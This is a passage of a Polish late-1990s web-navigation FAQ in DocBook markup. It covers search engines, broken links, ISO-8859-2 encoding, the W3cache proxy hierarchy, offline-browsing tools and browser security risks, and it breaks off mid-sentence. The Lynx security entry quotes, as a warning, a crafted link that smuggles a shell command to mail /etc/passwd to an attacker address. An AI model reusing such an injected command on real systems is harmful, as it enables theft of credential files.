<PARA><ULINK URL="http://www.einet.net/" ROLE="htmlurl">Galaxy EINET</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.lycos.com/" ROLE="htmlurl">Lycos</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT2>
<SECT2 ID="NAWIGACJA-PRZESZUKIWARKI">
<TITLE>Przeszukiwarki</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://archie.ICM.edu.pl/" ROLE="htmlurl">ICMowy serwer
archie (PL)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://infoseek.ICM.edu.pl/" ROLE="htmlurl">InfoSeek na
ICM (PL)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://netoskop.chip.pl/" ROLE="htmlurl">Netoscop (PL)</ULINK>
istniejący w ramach serwisu sieciowego
<ULINK URL="http://www.chip.pl/" ROLE="htmlurl">CHiPa</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.infoseek.com/" ROLE="htmlurl">InfoSeek</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://altavista.digital.com/" ROLE="htmlurl">DEC Alta
Vista</ULINK>
<ULINK URL="http://altavista.telia.com/" ROLE="htmlurl">Telia (z opcjami po polsku)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.lycos.com/" ROLE="htmlurl">Lycos</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://webcrawler.com/" ROLE="htmlurl">WebCrawler</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://wwwmcb.cs.colorado.edu/home/mcbryan/WWWW.html" ROLE="htmlurl">World Wide Web Worm</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.opentext.com/" ROLE="htmlurl">OpenText</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.exite.com/" ROLE="htmlurl">Exite</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.HotBot.com/" ROLE="htmlurl">HotBot</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.dogpile.com/" ROLE="htmlurl">DOGPILE</ULINK>
(za CW 17/1997)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>i inne ... :-) większość dostawców usług Internetowych dostarcza odp.
formularzy do wyszukiwania na najpopularniejszych przeszukiwarkach.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://winter.info.pl/szperacz.htm" ROLE="htmlurl">Panorama wyszukiwania w Internecie</ULINK>
w Projekcie Winter</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
<SECT2 ID="NAWIGACJA-SERWISY-INFORMACYJNE">
<TITLE>Przypominacze, serwisy informacyjne</TITLE>
<PARA>Istnieje wiele różnych specjalizowanych w wyszukiwaniu i śledzeniu
informacji serwisów. Często są one dostępne za darmo (czyli za
przeczytanie załączonych reklam ;-). Należą do nich np.:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.pointcast.com/" ROLE="htmlurl">Pointcast</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.netmind.com/" ROLE="htmlurl">URL Minder</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>czy dość szeroko spopularyzowane ,,Kanały Informacyjne''
oparte o technologię
<LINK LINKEND="CDF">CDF</LINK>
Microsoftu.czy
<LINK LINKEND="NETCASTER">NetCaster</LINK>
Netscape</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Poza tym przy obecnym rozwoju pajęczyny stoimy już o
krok od miejsca gdy każdy (no... każdy programujący w perlu
;-)) będzie w stanie przygotować własnego robota. Już w tej
chwili można zaprząc do sprawdzania nowości odpowiedni program, np.
<ULINK URL="http://SunSite.ICM.edu.pl/pub/Linux/sunsite/apps/www/mirroring/" ROLE="htmlurl">urlmon</ULINK>
zapuszczany w
<LITERAL MOREINFO="NONE">crontab,</LITERAL>
zaś używając
<ULINK URL="http://htdig.sdsu.edu/" ROLE="htmlurl">ht://diga</ULINK>
ściągać strony do lokalnego przeszukiwania. Dlatego też tak ważne
jest, aby uczynić swoje produkty (dokumenty w HTMLu) bogatymi w
,,meta informacje'' --- przy pomocy
<LINK LINKEND="PICS">PICS</LINK>
lub
<LINK LINKEND="RDF">RDF</LINK>
.</PARA>
<PARA>Osobną kwestią jest rozwój technologii
<LINK LINKEND="WEBCASTING">WebCastingu</LINK>
--- kanałów tematycznych dostarczanych niejako ,,w
całości'' do komputera odbiorcy i pozwalających na tworzenie
sieciowych periodyków, uaktualnianych w określonych przedziałach
czasu.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:
:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.cl.cam.ac.uk/users/rwab1/ag-pages.html" ROLE="htmlurl">Agent Related Web Pages</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.agent.org/" ROLE="htmlurl">The Agent Society</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://winter.info.pl/szperacz.htm" ROLE="htmlurl">Wyszukiwanie w Internecie @WInter</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
</SECT1>
<SECT1 ID="URL404">
<TITLE>URL nie działa</TITLE>
<PARA>Czasem jakiś odnośnik prowadzi donikąd, a zależy nam na dotarciu do
porządanych materiałów tak bardzo, że jesteśmy gotowi poświęcić temu
pięć do dwudziestu minut... Pierwszą rzeczą jaką w takim wypadku robię
jest dodanie strony z informacją o błędzie do listy moich zakładek ,,do
sprawdzenia''. Następnie testuję czy przejście katalog wyżej coś daje
(może zasób został przeniesiony, a administrator zapomniał, nie chciał
dać automatycznego przekierowania do nowej lokalizacji). Jeśli to nie
działa równolegle wysyłam listy zapytaniem informacją do
<SYSTEMITEM MOREINFO="NONE">webmaster@maszyna.z.poszukiwanym.zasobem</SYSTEMITEM>
i
<SYSTEMITEM MOREINFO="NONE">postmaster@maszyna.z.poszukiwanym.zasobem</SYSTEMITEM>
(ten drugi adres jest jedynym jaki musi istnieć na maszynie posiadającej
serwer SMTP) i rozpoczynam poszukiwania jakiegoś ekwiwalentu...</PARA>
<PARA>W wypadku błędów w wykonywaniu programów po stronie serwera, ślę informację do
<SYSTEMITEM MOREINFO="NONE">webmaster@maszyna.ze.skryptem</SYSTEMITEM>
(inna rzecz, że jeśli widzę, że jest to
<TRADEMARK CLASS="TRADE">NT</TRADEMARK>
z jakimś
<LINK LINKEND="ASP">ASP</LINK>
to sobie odpuszczam).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.ucc.ie/doc/World-Wide_Web/broken.html" ROLE="htmlurl">What to do when a URL doesn't work</ULINK>
[w:] Peter Flynn
<ULINK URL="http://www.ucc.ie/%E7pflynn/books/wwwbook.html" ROLE="htmlurl">The WorldWideWeb Handbook An HTML Guide for Users, Authors and Publishers
International Thomson Computer Press, ISBN 1-85032-205-8</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="WIELOJEZYCZNOSC">
<TITLE ID="MULTILANG">Wielojęzyczność sieci</TITLE>
<PARA><EMPHASIS>Dlaczego widzę krzaczki zamiast diakrytyki?</EMPHASIS></PARA>
<PARA>Jest kilka możliwości rozwiązania tego problemu:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>Masz niewłaściwą przeglądarkę, tj. nie obsługującą polskich liter w
standardzie ISO-8859-2. W miarę możliwości wymień ją na coś innego lub
sprawdź czy nie można tego jakoś poprawić na
<ULINK URL="http://www.agh.edu.pl/ogonki/" ROLE="htmlurl">Polskiej Stronie Ogonkowej</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Twoja przeglądarka obsługuje polskie literki, ale ty nic o tym nie
wiesz. Np. nie ustawiłeś w opcji:
<COMMAND MOREINFO="NONE"><GUIMENUITEM MOREINFO="NONE">Options|Document Ecoding|Central European (ISO-8859-2)</GUIMENUITEM></COMMAND>
i odpowiedniej czcionki w
<COMMAND MOREINFO="NONE"><GUIMENUITEM MOREINFO="NONE">Options|General_Preferences|Fonts|Latin-2</GUIMENUITEM></COMMAND></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Wina leży po stronie autora strony:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>ani w nagłówku
<ABBREV LANG="en">HTTP:</ABBREV>
<PROGRAMLISTING FORMAT="LINESPECIFIC">Content-type: text/html; charset=ISO-8859-2</PROGRAMLISTING>
(np. deklaracją w pliku
<FILENAME MOREINFO="NONE">/etc/mime.types</FILENAME>
), ani w nagłówku strony przy pomocy komendy
<SGMLTAG>&lt;

META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-2"&gt;</SGMLTAG>
lub choć
<SGMLTAG>&lt;

HTML LANG=PL&gt;</SGMLTAG>
nie zadeklarował używanej strony kodowej ani polskości dokumentu.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</LISTITEM>
<LISTITEM>
<PARA>po ostatnich poprawkach poczynionych przy pomocy jakiegoś dziwnego
edytora --- najczęściej typu:
<EMPHASIS>Zobaczysz_Coś_Innego_Niż_Inni</EMPHASIS>
--- wszystkie
polskie literki zostały zamienione na tzw.
<SYSTEMITEM MOREINFO="NONE">ISO Latin-1 entitles</SYSTEMITEM>
(np. &amp;#163; czyli &amp;pound;) które są siedmiobitowymi mnemonikami
dla znaków z zakresu 128-255 zestawu znaków ISO-8859-1 (czyli
zachodnioeuropejskiego nie zaś używanego w Polsce środkowoeuropejskiego).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>wina leży po stronie autora strony: używa CP 1250 :-( lub jeszcze bardziej
egzotycznego ,,standardu''.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="TWORZENIE-OGONKI">Sekcja: ogonki</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.agh.edu.pl/ogonki/" ROLE="htmlurl">Polska Strona Ogonkowa</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://la.ists.pwr.wroc.pl/%7Ecoven/tech/langtech.html" ROLE="htmlurl">W jaki sposób poprawnie serwować polskie dokumenty?</ULINK>
Pawła Więcka</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.man.poznan.pl/%E7msob/nc4_x.htm" ROLE="htmlurl">Co problemy z ogonkami w Netscape Communicator 4.x.x.?y</ULINK>
Michała Sobkowskiego</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="W3CACHE">
<TITLE>Przyśpieszanie transferu WWW --- projekt W3cache</TITLE>
<PARA><SIMPLELIST TYPE="VERT">
<MEMBER>From: W.Sylwestrzak@ICM.edu.pl</MEMBER>
</SIMPLELIST></PARA>
<PARA ID="NAWIGACJA-W3CACHE">Dlaczego? Przecież to oczywiste... ;-) Jednym ze skutków coraz
gwałtowniejszego rozwoju usług WWW jest saturacja łącz sieci rozległych. O
ile przepustowości łącz sieci lokalnych i miejskich są zwykle nadmiarowe,
to łącza międzynarodowe (znacznie bardziej kosztowne) stanowią zazwyczaj
wąskie gardła Internetu. Szybkość wzrostu zapotrzebowania na pasmo
znacznie przekracza wszelkie możliwości inwestycyjne. Analiza ruchu
wskazuje przy tym, że procentowo coraz większy udział stanowią w nim
transmisje WWW. Polska, jako jeden z pierwszych krajów zbudowała strukturę
tzw. cache WWW, która pozwala na lokalne buforowanie najczęściej żądanych
dokumentów WWW, a tym samym:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>zmniejszenie obciążenia łącz międzynarodowych,</PARA>
</LISTITEM>
<LISTITEM>
<PARA>skrócenie średniego czasu dostępu do informacji,</PARA>
</LISTITEM>
<LISTITEM>
<PARA>zoptymalizowanie wykorzystania łącz krajowych.</PARA>
</LISTITEM>
</ITEMIZEDLIST>
<ULINK URL="http://w3cache.ICM.edu.pl/sites_pl.html" ROLE="htmlurl">Hierarchia W3cache</ULINK>
obejmuje wszystkie ważniejsze sieci miejskie oraz działa w bezpośredniej
współpracy z podobnymi projektami poza Polską. W3cache wymienia także
informacje z pojedynczymi serwerami cache tam, gdzie nie istnieją jeszcze
struktury ogólnokrajowe. Przy czym użytkownicy takich ogólnopolskich
sieci jak
<ULINK URL="http://wwww.tpsa.pl/w3cache/" ROLE="htmlurl">TPnet,</ULINK>
lub Telebank powinni ustawić parametry swojego proxy cache na lokalny
cache, a jeśli nie ma to na w3cache.ICM.edu.pl:8080 jako najbliższy
ich sieciom, nie zaś na cache np. krakowskie. (choć ostatnio
w związku z zaistnieniem
<ULINK URL="http://w3cache.ICM.edu.pl/" ROLE="htmlurl">naczelnego w3cache w PL</ULINK>
w TPnecie, powstawaniem ,,lokalnych'' połączeń TPnetu z NASKnetem (np. w
Krakowie) sytuacja się zmienia).</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/pub/WWW/Propagation/" ROLE="htmlurl">Propagation, Caching and Replication on the Web</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3cache.pl/" ROLE="htmlurl">W3cache w Polsce - serwis informacyjny</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://w3cache.ICM.edu.pl/" ROLE="htmlurl">W3cache @ ICM</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="OFFLINE">
<TITLE>Praca off-line</TITLE>
<PARA>W naszej sytuacji, gdy łącząc się linią telefoniczną za każde trzy
minuty połączenia trzeba zapłacić (bagatela) 21 groszy coraz istotniejsze
stają się metody zmniejszania kosztów, przez gromadzenie dokumentów na
dyskach lokalnych.</PARA>
<SECT2 ID="NAWIGACJA-OFFLINE-CACHE">
<TITLE>Eksploracja cache dyskowego</TITLE>
<PARA>Jest to najprostsza (koncepcyjne ;-) metoda pracy. Można specjalizowanym
programem kopiować pliki gromadzone przez przeglądarkę --- w Netscape Navigator  w katalogu
<LITERAL MOREINFO="NONE">Cache</LITERAL>
lub w IE`95 w
<LITERAL MOREINFO="NONE">c:\windows\Temporary Internet Files</LITERAL>
do innych katalogów (tworząc przy okazji indeksy).
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.evolve.co.uk/unmozify/" ROLE="htmlurl">Unmozify</ULINK>
na Windowsowej Netscape (tak 3.1 jak i 32bit).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://ourworld.compuserve.com/homepages/M_Wolf/" ROLE="htmlurl">IE lub NN Cache Explorer</ULINK>
Marcusa Wolfa dla Windows 95.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="about:cache" ROLE="htmlurl">about:cache</ULINK>
w prawie każdym Netscape Navigatorze.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://hoohoo.ncsa.uiuc.edu/" ROLE="htmlurl">NSCA Mosaic</ULINK>
potrafi prawie wszystko co funkcjonalna przeglądarka powinna robić,
ma więc i wbudowane narzędzia do eksploracji cache.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT2>
<SECT2 ID="NAWIGACJA-OFFLINE-ROBOTY">
<TITLE>Roboty gromadzące drzewo dokumentów</TITLE>
<PARA>Na pierwszy rzut oka jest to wyśmienity pomysł: zatrudnić kogoś, coś
do wykonania za nas w roboty w czasie najmniejszego obciążenia sieci,
pozwalając nam przejrzeć wyniki szukania w wolnej chwili. Ale (o ile
używa się robota stosującego się do
<LINK LINKEND="SERWERY-ROBOTY">robot exlusion standard</LINK>
--- a innych nie warto nawet uruchamiać) rozwiązanie to ma swoją wadę:
do wielu części nie rozmaitych serwerów masz dostępu --- np. do wyniku
działania katalogu
<LITERAL MOREINFO="NONE">/cgi-bin/</LITERAL>
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.inf.utfsm.cl/%E7vparada/" ROLE="htmlurl">webcopy</ULINK>
--- w Perlu</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://gnjilux.cc.fer.hr/pub/unix/util/wget/" ROLE="htmlurl">wget
<FILENAME MOREINFO="NONE">ftp://gnjilux.cc.fer.hr/pub/unix/util/wget/</FILENAME></ULINK>
(z Chorwacji, ale serwer jest dość słaby więc transmisja potrafi długo
trwać) i we wszystkich
<ULINK URL="http://sunsite.icm.edu.pl/pub/gnu/" ROLE="htmlurl">archiwach GNU</ULINK>
--- potrafiący działać tak przy użyciu HTTP/1.1 jak i FTP. (źródła i
binaria dostępne na większość platform systemowych (w tym MS Windows)).</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://lynx.browser.org/" ROLE="htmlurl">Lynx powyżej 2.6</ULINK>
ponoć to potrafi...
<LITERAL MOREINFO="NONE">lynx -source -traversal URL</LITERAL>
lub
<COMMAND MOREINFO="NONE">lynx -crawl -traversal URL</COMMAND></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.surflogic.com/products.html" ROLE="htmlurl">SurfBot</ULINK>
dla Windows</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.tenmax.com/" ROLE="htmlurl">Teleport Pro Version 1.13 for Windows 95/NT</ULINK>
(ponoć najlepszy w tej kategorii)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ffg.com/" ROLE="htmlurl">WebWracker i Grab-A-Net z ForeFront</ULINK>
<ULINK URL="http://tucows.ICM.edu.pl/acc95.html" ROLE="htmlurl">(kopia z Tucows)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://hoohoo.ncsa.uiuc.edu/" ROLE="htmlurl">Mosaic</ULINK>
potrafi i to...</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT2>
<SECT2 ID="NAWIGACJA-OFFLINE-W3CACHE">
<TITLE>Wspólny W3cache</TITLE>
<PARA>Rozwiązanie to należy do wymagających trochę większego doświadczenia,
ale też daje (zwłaszcza w powiązaniu z przeszukiwaniem dokumentów)
największe możliwości tak wzbogacenia form pracy (np. WWWOFLE może pełnić
i rolę robota) jak i zaoszczędzenia (wspólne zasoby dla wszystkich
komputerów, możliwość monitorowania najczęściej uczęszczanych miejsc,
w przeciwieństwie do części robotów zachowuje (i utrzymuje) powiązania
między dokumentami w sieci i na dysku.
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.gedanken.demon.co.uk/" ROLE="htmlurl">WWWOFFLE</ULINK>
--- World Wide Web Offline Explorer
--- Linux/Unix --- dedykowany dla współużytkowania linii telefonicznej
(wraz z 
<APPLICATION MOREINFO="NONE">diald</APPLICATION>
) przez kilka komputerów w sieci --- pozwala przy tym pobierać w czasie połączenia dokumenty żadane w czesie ,,bycia off-line''.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://squid.nlanr.net/Squid/" ROLE="htmlurl">Squid</ULINK>
--- Linux/Unix.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://harvest.transarc.com/" ROLE="htmlurl">Harvest Project</ULINK>
--- Linux/Unix.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.wingate.net/" ROLE="htmlurl">WinGate</ULINK>
--- Win32.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:
:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3cache.pl/" ROLE="htmlurl">W3cache w Polsce - serwis informacyjny</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT2>
</SECT1>
<SECT1 ID="BEZPIECZNA-NAWIGACJA">
<TITLE ID="NAWIGACJA-BEZPIECZENSTWO">Bezpieczna nawigacja po pajęczynie.</TITLE>
<PARA><EMPHASIS>Czy przeglądając WWW mogę narazić się na zniszczenie zawartości dysku,
bądź inną formę destabilizacji pracy komputera?</EMPHASIS></PARA>
<PARA ID="KLIENT-BEZPIECZENSTWO">Niestety tak ;-(. A poważnie: o ile masz wyłączoną Java`ę, ActiveX,
VBScript, JavaScript, pracujesz za dobrze skonfigurowanym
<PRODUCTNAME CLASS="TRADE">firewallem</PRODUCTNAME>
(najlepiej pośredniczącym --- proxy, albo za filtrem pakietów z
odrzucaniem połączeń ICMP, NetBIOS over TCP, RCP) i nie ładujesz plików
z danymi zawierającymi makroinstrukcje, PostScript oraz programów ---
prawdopodobnie nic się nie stanie. Tylko, że mało kto tak robi ;-).</PARA>
<PARA>W pozostałych wypadkach:
<ITEMIZEDLIST>
<LISTITEM>
<PARA ID="NAWIGACJA-MAKROWIRUSY">pliki MS Worda, MS Excella (i innych programów mogących zawierać
makroinstrukcje) i programy --- wiadomo powszechnie --- mogą być zakażone
tzw. wirusami lub mogą być tzw.
<PRODUCTNAME CLASS="TRADE">koniami trojańskimi</PRODUCTNAME>
i to nie zależy od medium przesyłowego. Zalecana jest wobec danych
zewnętrznych (zwłaszcza w postaci binarnej) daleko posuniętą ostrożność:
ściągany plik należy sprawdzić najświeższą posiadaną wersją programu
antywirusowego, w wypadku programów warto zdobyć ,,oficjalne'' sumy
kontrolne ściągniętego pliku i porównać je z posiadaną kopią.</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="NAVIGACJA-TEX-POSTSCRIPT"><PRODUCTNAME CLASS="TRADE">PostScript</PRODUCTNAME>
,
<PRODUCTNAME CLASS="TRADE">TeX</PRODUCTNAME>
są (czego nie wszyscy są świadomi) normalnymi programami i jak
wszystkie programy mogą zawierać niebezpieczne operacje, które pewne
przeglądarki/programy przeznaczone od ich przetwarzania mogą próbować
wykonać: kasowanie plików albo zmiana hasła lub ustawień drukarek.</PARA>
</LISTITEM>
<LISTITEM>
<PARA ID="NIEBEZPIECZENSTWA-JAVA">Java jest specyficznym środowiskiem, teoretycznie nie mogącym wydostać
się poza izolowaną od systemu
<FOREIGNPHRASE>Java Virtual Machine</FOREIGNPHRASE>
funkcjonującą (przy przeglądaniu WWW) w przeglądarce. Jednak
implementacja specyfikacji (nota bene wg
<ULINK URL="http://www.cs.princeton.edu/sip/pub/secure96.html" ROLE="htmlurl">,,Java Security: From HotJava to Netscape and Beyond''</ULINK>
by Drew Dean, Edward Felten i Dan Wallach wymagającą pewnego
przeprojektowania) nie jest zadaniem łatwym. Wkrótce po
,,przeglądarkowej'' premierze Java`y ujawniono kilka spektakularnych
błędów:
<SIMPLELIST TYPE="VERT">
<MEMBER>możliwość kasowania plików użytkowników z dysku (w wersjach 2.0 i 2.01
Netscape Navigatora)</MEMBER>
<MEMBER>możliwość nadmiernego zużycia czasu procesora (efektem czego może być
uniemożliwienie działania systemu)</MEMBER>
<MEMBER>możliwość wykonania połączenia z dowolnym (nie zaś jedynie z tym z którego
pobrano applet) hostem w sieci (co w połączeniu z relacjami zaufania z
<PRODUCTNAME CLASS="TRADE">r-utills</PRODUCTNAME>
może być niebezpieczne dla całej organizacji</MEMBER>
<MEMBER>potencjalna możliwość (usunięta po jdk 1.1.) przełamania przez
<PRODUCTNAME CLASS="TRADE">bytecode</PRODUCTNAME>
restrykcji
<PRODUCTNAME CLASS="TRADE">Java Security Managera</PRODUCTNAME></MEMBER>
</SIMPLELIST>
Przy czym rozprowadzane w tej chwili przeglądarki są prawdopodobnie wolne od wymienionych błędów.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://sunsite.icm.edu.pl/pub/doc/rfc/rfc2504.txt">RFC 2504 Users' Security Handbook. </ULINK> 
Guttman, L. Leong, G. Malkin.  February 1999. 
(Format: TXT=74036 bytes) (Also FYI0034) (Status: INFORMATIONAL)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://java.sun.com/sfaq/" ROLE="htmlurl">Frequently Asked Questions about Applet Security.</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cs.princeton.edu/sip/java-faq.html" ROLE="htmlurl">Java Security:</ULINK>
Frequently Asked Questions. The Unofficial Answers from
the Princeton Secure Internet Programming Team</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Gary McGraw and Edward Felten
<ULINK URL="http://www.rstcorp.com/java-security.html" ROLE="htmlurl">Java Security: Hostile Applets, Holes and Antidotes</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</LISTITEM>
<LISTITEM>
<PARA>argumentem za wyłączeniem
<PRODUCTNAME CLASS="TRADE">JavaScript</PRODUCTNAME>
jest nie ochrona integralności systemu jak w wypadku
<PRODUCTNAME CLASS="TRADE">Java</PRODUCTNAME>
czy
<PRODUCTNAME CLASS="TRADE">ActiveX</PRODUCTNAME>
a raczej
<LINK LINKEND="PRIVACY">prywatności</LINK>
. I tak np. Netscape Navigator 4.x (do 4.0.5) pozwalał na odczytanie
zawartości
<FILENAME MOREINFO="NONE">preferences.js</FILENAME>
zdradzając informacje o preferencjach użytkownika, o jego serwerach i
adresach, a także hasłach (z POP3 i IMAP) --- bardzo często tożsamych
z używanymi w sieci lokalnej. Dalej, w IE 4.0. zaistniała możliwość
podejrzenia części plików na komputerze
<ULINK URL="http://www.jabadoo.de/press/ie4_us_old.html" ROLE="htmlurl">użytkownika.</ULINK>
Pojawiły się ostrzeżenia o możliwościach naruszenie prywatności przez
ingerowanie w historię oglądanych w czasie bieżącej sesji stron, a także
możliwość swoistego
<APPLICATION MOREINFO="NONE">Denial of Service</APPLICATION>
w formie rekurencyjnego mnożenia ramek (co w wypadku IE 4.0. jest możliwe
i bez JavaScript).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="ftp://info.cert.org/pub/cert_advisories/CA-97.20.javascript" ROLE="htmlurl">JavaScript CERT Advisory</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</LISTITEM>
<LISTITEM>
<FORMALPARA ID="BEZPIECZENSTWO-LYNX">
<TITLE>Lynx:</TITLE>
<PARA>istnieje coś takiego jak
<FOREIGNPHRASE>trusted hosts</FOREIGNPHRASE>
co pozwala wykonywać polecenia wydawane ze zdalnego komputera na lokalnym.</PARA>
</FORMALPARA>
<PARA>Poza tym możliwe jest (było do wersji 2.7.1 włącznie) manipulowanie
częścią z typowych tylko dla tej przeglądarki URLi:
<SGMLTAG>&lt;

a
href="LYNXDOWNLOAD://Method=-1/File=`mail%20crakers@org.com.pl%3C/etc/passwd`/SugFile=test"&gt;
CLICK HERE &lt;
/a&gt;</SGMLTAG>
próbuje (zwykle skutecznie) wysłać plik z hasłami z lokalnej maszyny na konto
<SYSTEMITEM MOREINFO="NONE">crakers@org.com.pl</SYSTEMITEM></PARA>
</LISTITEM>
<LISTITEM>
<FORMALPARA>
<TITLE><LINK LINKEND="ACTIVEX"><PRODUCTNAME CLASS="TRADE">ActiveX</PRODUCTNAME></LINK></TITLE>
<PARA>nie posiada poza systemem podpisów pod kontrolkami żadnych mechanizmów
zabezpieczających przed dostępem do danych na dysku. Twórca wrogiej
kontrolki (którą nieświadomy niczego użytkownik zaakceptuje jako przydatną)
jest w stanie zrobić niemal wszystko z naszym systemem. W obiegu jest
kilka przykładów tej technologii:
<ULINK URL="http://www.halcyon.com/mclain/ActiveX/Exploder/" ROLE="htmlurl">Exploder</ULINK>
(podpisana, i certfikowana kontrolka, wykonująca zamknięcie systemu),
czy wrogie , pochodzące z Computer Chaos Club z Hamburga (jedna z nich
,,dobierała się'' do składowanych na dysku danych programu do finansów
osobistych
<PRODUCTNAME CLASS="TRADE">Quicken</PRODUCTNAME></PARA>
</FORMALPARA>
</LISTITEM>
<LISTITEM>
<PARA>poprzez przeglądarki działające na
<TRADEMARK CLASS="TRADE">MS Windows</TRADEMARK>
wszelkiej maści możliwe jest pozyskanie identyfikatora użytkownika,
hasła, oraz innych parametrów przekazywanych w ramach autentyfikacji
<SYSTEMITEM MOREINFO="NONE">SMB</SYSTEMITEM>
aka
<SYSTEMITEM MOREINFO="NONE">NetBIOS over TCP/IP</SYSTEMITEM>
Jedyną sensowną receptą na tę formę obrony jest zastosowanie filtra
pakietów na routerze brzegowym (obcinając na wyjściu porty 135,
137 i 139). (Wydaje się, że wersja 4.01. Internet Explorera ma opcje
pozwalające na wyłączenie autentyfikacji przy pomocy SMB (domyślnie
ustawione na
<SYSTEMITEM MOREINFO="NONE">disabled</SYSTEMITEM>
--- po wstępnych testach stwierdzam, że nie funkcjonującą, lub wyłączającą
